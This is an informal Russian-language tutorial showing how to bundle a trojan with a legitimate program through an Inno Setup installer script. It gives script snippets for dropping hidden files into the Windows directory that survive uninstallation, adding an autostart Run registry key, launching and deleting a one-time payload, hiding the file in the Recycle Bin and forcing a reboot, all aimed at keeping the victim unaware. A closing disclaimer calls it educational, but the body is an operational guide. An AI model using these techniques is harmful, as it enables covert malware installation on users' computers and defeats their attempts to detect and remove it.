Про методы внедрения троянов на машину жертвы было сказано немало, но все они сводились либо в ошибках в программном обеспечении, либо к чрезмерной наивности юзера. Но зеленые чайники имеют свойство со временем становиться недоверчивыми юзерами, которых уже не удивишь "крякерами Инета",
"ускорителями скорости работы в сети" и прочим. Да и даже если юзер и поверит обещаниям и запустит многообещающую прогу, то как только он поймет, что ему на комп пробрался троян, то на него начнется самая настоящая охота вплоть до форматирования винта 🙂 Ну или по крайней мере отыщет созданные прогой файлы, пройдется по разделами реестра и заглянет в автозагрузку. Поэтому наша задача - сделать так, чтобы юзер ничего не заподозрил. Одно из самых простых и действенных решений - вместе с троянов дать юзеру и вполне работоспособную программу, точнее вместе с работоспособной программой подсунуть и троян 🙂
А что должны иметь "нормальные" программные продукты? Правильно, красивую "оболочку". Как минимум - инсталлятор/деинсталлятор, должны прописываться в реестр и прочее. Вот на этой "любви к красивому" мы и поймаем юзера 🙂 Суть метода заключается в следующем - берется нормальная программа, составляется конфиг-файл инсталлятора, который и будет инсталлировать нормальную прогу, но кроме того - будет незаметно писать на винт и запускать нужные тебе файлы. Возможности инсталляторов достаточно широки - можно писать файлы в любые каталоги, присваивать им нужные атрибуты, писать в реестр, запускать и удалять программы. Но обо всем - по порядку :))
Мы рассмотрим инсталлятор "Inno Setup" - достаточно неплохая прога. Открываем один из примеров, или создаем новый файл. Перед нами - структура программы установки. Она состоит из пунктов, таких как основные свойства программы, устанавливаемые файлы и прочее. Рассмотрим на примере, как обратить такую полезную вещь для своих нужд 🙂
Первый блок - общие сведения о проге. Для наших действий он бесполезен, но без него - никак
;текст за ";" - комментарии
[Setup]
AppName=Super-puper program ;Имя программы
AppVerName=S-prog 1.021 ;Название версии проги
DefaultDirName={pf}\My Program ;каталог прогаммы, {pf} означает "Program ;Files"
DefaultGroupName=My Program ;Название группы
UninstallDisplayIcon={app}\MyProg.exe ; путь для деинсталлятора,
; {app} - каталог этой программы
Еще одна важная секция - для установки иконок
[Icons]
Name: "{group}\Program"; Filename: "{app}\Prog.exe"
С основными свойствами вроде разобрались, теперь переходим к другому пункту, уже более для нас полезному, потому как в нем пойдет речь о файлах проекта 🙂
[Files]
Source: "prog.exe"; DestDir: "{app}" ;пишем все файлы проекта
Source: "prog.dat"; DestDir: "{app}" ;потом их нужно будет поместить в ;каталог, где находиться созданный нами скрипт-файл.
;И так далее... Или же можно сделать как
Source: "Files\*" ; где - Files - каталог, в кот. все файлы проекта находятся
;и затем
Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme
Flags - можно сказать свойства файла. "isreadme" - показывает, что этот файл будет предложено открыть для прочтения. DestDir - как нетрудно догадаться - каталог для установки.
Теперь - пишем нужные нам файлы:
Source: "myprogram.exe";DestDir:"c:\...\...\"; пишем нужный каталог
Теперь прога еще и поместит твой файл в нужный каталог. Кроме того, нам нужно и обезопасить "свой" файл от того случая, если юзер решит удалить поставленную программу путем Unistall'a. Для этого за переменной DestDir пишем:
Source: "name.exe";DestDir:"c:\windows\";Flags: uninsneveruninstall
Причем системный каталог может быть заменен переменной {sys}, так же как и
"Program Files" - {pf}
Этот флаг означает, что файл не будет удален при деинсталляции проги.
Так же можно установить атрибуты файла - это делается установкой опции
"Attribs", например:
Attribs: hidden
(Остальные атрибуты пишутся как "system" и "readonly")
С записью файлов вроде разобрались, теперь перейдем к возможным способам их запуска :)) Таких целых два: записью в реестр - это если надолго, а если нужно выполнить одиночные действия - через опцию запуска приложений после установки.
[Registry]
; секция работы с реестром
Root: HKLM; Subkey:"Software\Microsoft\Windows\CurrentVersion\Run";
ValueType: string;ValueName: "c:\windows\prog.exe";
;Root- выбор корневой ветви реестра, HKLM - HKEY_LOCAL_MACHINE
;Subkey - "подключ". В данном случае - автозапуск :))
;ValueType - тип переменной. В данном случае - строковая
;ValueName - имя переменной, для простоты здесь он же и путь к запускаемой ;проге
;Если есть желание делать все "как надо" - тогда значение переменной пишется ;в ValueData
После этого пишем в реестр сведения об устанавливаемой программе - должны же они писаться при нормальной установке "по хорошему" 🙂
Root: HKLM; Subkey: "Software\Company\ProgramName\Settings"; ValueType: string; ValueName: "Path"; ValueData: "{app}"
С реестром теперь все ОК. Только этот способ не подходит для тех случаев, когда прогу нужно запустить буквально один раз. И после этого удалить, дабы не смущать юзера неизвестно откуда взявшимися файлами :))
Для одиночной записи служит секция:
[Run]
;запускаем файл name.exe
Filename: "c:\Dir1\Dir2\...\name.exe"
Если после этого файл нужно удалить, тогда в секции
[Files] для запускаемого файла нужно прописать
deleteafterinstall - удалить после инсталляции:
Source: "zapadl.exe";DestDir:"c:\...\...\";Flags:deleteafterinstall
Теперь файл будет запущен и удален после завершения
установки. Учти, действия, которые будет выполнять твоя прога, не должны растянуться "на года"! Файл будет удален по завершении работы твоей программы. Установка не завершится, пока не будет завершена работа твоей проги.
Помни об этом!
Ну вот, с внедрением разобрались. Осталось дело за удалением файлов после завершения работы и удаления следов из реестра, если прога устанавливалась не на один раз. Для этого есть достаточно оригинальный способ: мы помещаем наш файл... в корзину :)) И после того, как прога завершит свои действия, удалит данные из реестра, то при очередной очистке корзины она канет в небытие :)) А до этого, будучи запущенной, сможет отлично пережить без каких-либо потерь и ненужных сообщений юзеру чистку корзины. Причем при нормальной открытии корзины этот файл не виден, потому как попал туда не совсем обычным путем 🙂
Весь прикол в том, что программа будет запускаться при запуске системы, так что удалить ее юзер не сможет при всем желании :)) Единственное, о чем может быть нужно будет позаботиться - так это о том, чтобы до ближайшей перезагрузки юзер не очищал корзины. Самый простой способ - приблизить ближайшую перезагрузку, например сделать так, чтобы комп перезагружался после окончания установки - делается так: в секции
[Setup] прописывается:
AlwaysRestart=yes
А удалять данные из реестра придется из самой программы, что делается очень даже просто: на дельфях - функцией RegDeleteValue - "удалить переменную из реестра":
RegDeleteValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\
CurrentVersion\Run\ValueName');
Удаляет прогу из списка "на загрузку", "ValueName" - имя переменной.
Так что после удаления данных из реестра юзер вскоре удалит и саму прогу. Но нужно рассмотреть еще один случай - если юзер вдруг снесет с компа прогу
(а твой файл конечно останется), но потом решит вновь ее поставить - тогда нужно предусмотреть, чтобы не пыталась писать твой файл поверх уже существующего.
Это делается опцией Copymode: onlyifdoesntexist; - "только если не запущен",
которая пишется после "DestDir", но перед "Flags".
А потом - компилишь Inno Setup скрипт, получаешь на выходе готовый exe-шник, и все - прога с сюрпризом готова. И можешь пускать ее "во внешний мир" - и все будут довольны 🙂 Как говориться - "И волки сыты, и овцы целы, и пастуху вечная память" :))
PS Автор не несет ответственности за совершенные с помощью этого материла вредоносные действия и прочие глупости. Данный материал представлен исключительно с образовательными целями и имел задачу прежде всего показать, что сюрпризы могут поджидать даже на полпути до запуска скачанного программного продукта 🙂